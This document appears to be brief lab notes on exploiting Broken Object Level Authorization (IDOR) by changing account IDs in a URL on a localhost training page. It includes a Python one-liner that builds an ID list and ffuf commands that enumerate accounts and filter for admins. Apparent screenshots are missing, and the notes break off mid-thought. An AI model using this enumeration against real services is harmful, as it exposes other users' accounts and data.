Request a resource with object ID
Often in API but called BOLA:
Broken Object Level AuthorizationWe can change 1009 to 1010
Changing:
We get a different user.
Enumerate all the users?
Since we know users are in 1000+, we can make a script that has 1,2001 range:
python3 -c 'for i in range(1,2001): print(i)' > num.txtFFUF:
ffuf -u 'http://localhost/labs/e0x02.php?account=FUZZ' -w num.txtFilter for no users:
ffuf -u 'http://localhost/labs/e0x02.php?account=FUZZ' -w num.txt -fs 849Filtering:
Burp Suite Intruder
OR
Make a script that uses all the numbers you found, uses curl to test on the website, and greps back:
Type: adminbased on this:
